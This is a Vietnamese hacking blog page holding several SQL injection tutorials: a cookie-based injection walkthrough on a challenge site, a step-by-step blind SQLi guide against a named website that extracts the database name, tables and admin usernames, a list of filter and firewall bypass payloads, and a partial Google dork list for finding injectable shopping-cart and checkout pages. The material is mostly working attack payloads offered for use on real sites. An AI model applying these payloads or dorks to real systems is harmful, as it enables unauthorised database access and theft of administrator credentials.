Mr.Quay's Blog: SQL Injection

KHAI THÁC SQL INJECT COOKIE METHOD: SESSION BASED

<span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">tool cần có: cookie manager dành cho firefox (tôi thích dùng firefox).</span><br />
<div class="bbcode_container" style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="border-color: rgba(255, 255, 255, 0.0273438); border-style: solid; border-width: 2px 2px 2px 20px; height: 36px; line-height: 1.6em; margin-left: auto; margin-right: auto; padding: 2px 15px;">https://addons.mozilla.org/vi/firefox/addon/cookie-manager/</pre>
</div>
<span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">sau khi tiến hành cài đặt sẽ có biểu tượng CM bên góc trên bên phải</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">Victim: </span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">đi vào luôn 1 em trong challegen </span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><div class="bbcode_container" style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="border-color: rgba(255, 255, 255, 0.0273438); border-style: solid; border-width: 2px 2px 2px 20px; height: 36px; line-height: 1.6em; margin-left: auto; margin-right: auto; padding: 2px 15px;">http://zerocoolhf.altervista.org/level4.php?id=1</pre>
</div>
<span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">trước khi vào exploit tôi cũng xin nói luôn</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">khai thác với cách thông thường là rẩt khó nó filter hầu như tất cả.</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">khai thác qua session based em nó chỉ filter khoảng trắng.</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">Vào khai thác thôi:</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">bước 1 : tất nhiên là mở em nó lên rồi </span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><a class="highslide" href="http://no5.upanh.com/b4.s29.d1/27479674aecfe59067d1d1f4b51e24fc_46917615.manager.png" style="color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left; text-decoration: none;"><img alt="" border="0" id="hs_imageresizer_container_1" src="http://no5.upanh.com/b4.s29.d1/27479674aecfe59067d1d1f4b51e24fc_46917615.manager.png" style="background-color: #111111; border: 1px solid rgb(34, 34, 34); margin: 0px; padding: 5px;" /></a><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">bước 2 : dung firefox mở trang victim lên.</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">sau khi mở được trang web ta đã có 1 cookie. click vào tag Monitor Cookie</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">click vào link của victim ngay chỗ value = 1 .</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">ta khai thác ở đó.</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><a class="highslide" href="http://no1.upanh.com/b1.s27.d2/3a244f44d370d76e2a71afda43079a01_46917681.cookie.png" style="color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left; text-decoration: none;"><img alt="" border="0" id="hs_imageresizer_container_3" src="http://no1.upanh.com/b1.s27.d2/3a244f44d370d76e2a71afda43079a01_46917681.cookie.png" style="background-color: #111111; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(34, 34, 34); margin: 0px; padding: 5px;" /></a><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">bước 3: tiến hành inject:</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">Cách sử dụng: bạn phải save lại rồi mở lại link.</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">bypass khoảng trắng= %0b</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><div class="bbcode_container" style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="border-color: rgba(255, 255, 255, 0.0273438); border-style: solid; border-width: 2px 2px 2px 20px; height: 36px; line-height: 1.6em; margin-left: auto; margin-right: auto; padding: 2px 15px;">1'%0border%0bby%0b3--%0b-</pre>
</div>
<a class="highslide" href="http://no2.upanh.com/b5.s26.d2/076904a6a3c3c031520ce63b06d3d342_46917772.order.png" style="color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left; text-decoration: none;"><img alt="" border="0" id="hs_imageresizer_container_2" src="http://no2.upanh.com/b5.s26.d2/076904a6a3c3c031520ce63b06d3d342_46917772.order.png" style="background-color: #111111; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(34, 34, 34); margin: 0px; padding: 5px;" /></a><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">bước 4: các bạn tự làm</span><br style="color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; margin: 0px; padding: 0px; text-align: left;" /><span style="background-color: rgba(0, 0, 0, 0.199219); color: #7b7f88; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 19px; text-align: left;">End tut.</span>

KHAI THÁC SQL INJECT COOKIE METHOD: SESSION BASED

tool cần có: cookie manager dành cho firefox (tôi thích dùng firefox). Code: https://addons.mozilla.org/vi/firefox/addon/cookie-manager/...

Sơ sơ về blind

<b style="background-color: white; font-family: tahoma, verdana, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px;"><span style="font-size: x-small;"><span style="color: red;">Sơ sơ về blind cho anh em dễ hiểu:</span><br /><span style="color: red;">+Tìm version() em nó là version mấy:</span></span></b><br />
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
<b style="background-color: white; font-family: tahoma, verdana, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px;"><span style="font-size: x-small;">Quote:</span></b></div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and substring(version(),1,1)=3 >>ver 3<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and substring(version(),1,1)=4 >>ver 4<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and substring(version(),1,1)=5 >>ver 5</td></tr>
</tbody></table>
</div>
<b style="background-color: white; font-family: tahoma, verdana, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px;"><span style="font-size: x-small;"><span style="color: red;">Muốn biết chính xác nó version mấy</span>: vidu nó là ver 5.1.21 nhé<br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),1,1))=53 >>5<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),2,1))=46 >>.<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),3,1))=49 >>1<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),4,1))=46 >>.<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),5,1))=50 >>2<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(version(),6,1))=49 >>1</td></tr>
</tbody></table>
</div>
<span style="color: red;">+ Tìm database(),user()</span><br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and length(database()) = 6<br />Nếu database là 6 ký tự, các bạn có thể dùng dấu > hoặc < để rút khoảng cách tìm ra số lượng ký tự<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and length(database()) > 5 ok<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and length(database()) >6 lỗi</td></tr>
</tbody></table>
</div>
<span style="color: red;">>> số lượng ký tự = 6 </span><br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),1,1))= 116 >>t<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),2,1))= 103 >>g<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),3,1))= 104 >>h<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),4,1))= 109 >>m<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),5,1))= 109 >>m<br /><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring(database(),6,1))= 100 >>d</td></tr>
</tbody></table>
</div>
>>database()= tghmmd<br /><span style="color: red;">+Get thông tin</span><br /><span style="color: red;">++table_name:</span><br />+++table đầu tiên trong dãy table_name<br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and
 ascii(substring((select table_name from information_schema.tables where
 table_schema=database() limit 0,1),1,1))= 116 >> t</td></tr>
</tbody></table>
</div>
>>còn làm tương tự ,nhớ length để biết số lượng ký tự trong table_name đầu tiên nhé<br /><span style="color: red;">++column name:</span><br />+++column đầu tiên trong dãy column_name trong 1 table<br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and
 ascii(substring((select column_name from information_schema.columns 
where table_schema=database() and table_name=0xtable_name conver to hex 
limit 0,1),1,1))= 116 >> t</td></tr>
</tbody></table>
</div>
+get user/pass: vidụ username/password trong table admin nhé<br /><div style="margin: 5px 20px 20px;">
<div class="smallfont" style="font-size: 11px; font-weight: normal; margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="5" cellspacing="0"><tbody>
<tr><td class="alt2" style="border: 1px inset; font-size: 10pt;"><a href="http://mumauden.com/tgh.php?id=1" style="color: black; text-decoration: none;" target="_blank">http://mumauden.com/tgh.php?id=1</a> and ascii(substring((select username from admin limit 0,1),1,1))= 97 >> a</td></tr>
</tbody></table>
</div>
<span style="color: blue;"><span style="color: red;">Chú ý : </span><br />-Các bạn cứ tăng giá trị 1,1 của substring lên 2,1 để get số ký tự<br />-Các bạn cứ tăng giá trị 0,1 của limit lên 1,1 để get số table_name,colum_name</span></span></b>

Sơ sơ về blind

Sơ sơ về blind cho anh em dễ hiểu: +Tìm version() em nó là version mấy: Quote: http://mumauden.com/tgh.php?id=1 and substring(version(...

Một số cách Bypass SQL injection

<br />
Bypass SQLi là gì?<br />
Khi các bạn dùng lệnh khai thác 1 site nào đó mà site đó vẫn ko thấy hiện tượng gì xảy ra thì những câu lệnh đó đã được webmaster chặn bằng bộ lọc hoặc Firewall. Vì thế chúng ta phải tìm cách Bypass để vượt qua, chúng ta chỉ thay đổi 1 vài ký tự nhưng những ký tự đó ko làm thay đổi bản chất của câu lệnh thì đó được gọi là Bypass.<br />
<br />
Sau đây là một số cách tôi đã dùng:<br />
Cách 1: thay ký tự thường bằng ký tự hoa<br />
<br />
id=1+UnIoN SeLeCT 1,2,3,4-- -<br />
<br />
Cách 2: dùng cặp thẻ /*!code*/<br />
<br />
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -<br />
<br />
Cách 3: dùng like thay cho = (khi dấu = bị chặn)<br />
<br />
/*!TaBlE_ScHeMa*/+like+database()– -<br />
<br />
Cách 4: Lồng Union và select<br />
<br />
id=1+UNIunionON+SeLselectECT+1,2,3–<br />
<br />
Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:<br />
<br />
sel%0bect+1,2,3<br />
id=1+uni*on+sel*ect+1,2,3–+<br />
id=1+(UnIoN)+(SelECT)+<br />
id=1+(UnIoN+SeLeCT)+<br />
id=1+(UnI)(oN)+(SeL)(EcT)<br />
id=1+’UnI”On’+'SeL”ECT’<br />
<br />
Cách 6: dùng hàm convert():<br />
convert(group_concat(table_name)+using+ascii)<br />
convert(version() using latin1)<br />
aes_decrypt(aes_encrypt(version(),1),1)<br />
unhex(hex(@@version))<br />
cast(version()+as+binary)<br />
convert(version(),binary)<br />
convert(version()+using+binary)<br />
<br />
Cách 7: dùng char() để hiện thị users bị ẩn<br />
CHAR(117, 115, 101, 114, 115)<br />
<br />
Cách 8: show table ẩn: <br />
<br />
group_concat(unhex(hex(table_name)))<br />
<br />
cách 9: select<br />
UNION all /*!50000SELECT*/<br />
<br />
Cách 10 (ít dùng)thêm khoảng trắng tách từ<br />
information_schema. tables thay cho information_schema.tables

Một số cách Bypass SQL injection

Bypass SQLi là gì? Khi các bạn dùng lệnh khai thác 1 site nào đó mà site đó vẫn ko thấy hiện tượng gì xảy ra thì những câu lệnh đó đã được...

Google Dork 2014 List For SQL Injection Attack

<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> about.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> accinfo.php?cartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> acclogin.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> add.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> add_cart.php?num=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> addcart.php?</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> addItem.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> add-to-cart.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> addToCart.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> addtomylist.php?ProdId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> adminEditProductFields.php?intProdID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> advSearch_h.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> ancillary.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> archive.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> article.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> phpx?PageID</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> basket.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> Book.php?bookID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book_list.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book_view.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> BookDetails.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> browse.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> browse_item_details.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> Browse_Item_Details.php?Store_Id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> buy.php?</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> buy.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> bycategory.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cardinfo.php?card=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cart.php?action=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cart.php?cart_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cart.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cart_additem.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cart_validate.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cartadd.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cat.php?iCat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog.php?CatalogID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog_item.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog_main.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category_list.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> categorydisplay.php?catid=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="color: #1b8ede;"><span style="font-size: small;"><span style="font-family: 'arial';"><span style="text-decoration: underline;">checkout.</span></span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">php?cartid=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">checkout</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?UserID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> checkout_confirmed.php?order_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> checkout1.php?cartid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> comersus_listCategoriesAndProducts.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> comersus_optEmailToFriendForm.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> comersus_optReviewReadExec.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> comersus_viewItem.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> comments_form.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> contact.php?cartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> customerService.php?****ID1=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> default.php?catID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> description.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> details.php?BookID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> details.php?Press_Release_ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> details.php?Product_ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> details.php?Service_ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> display_item.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> displayproducts.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> downloadTrial.php?intProdID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> emailproduct.php?itemid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> emailToFriend.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> events.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> faq.php?cartID=</span></span></span></div>
<div style="text-align: left;">
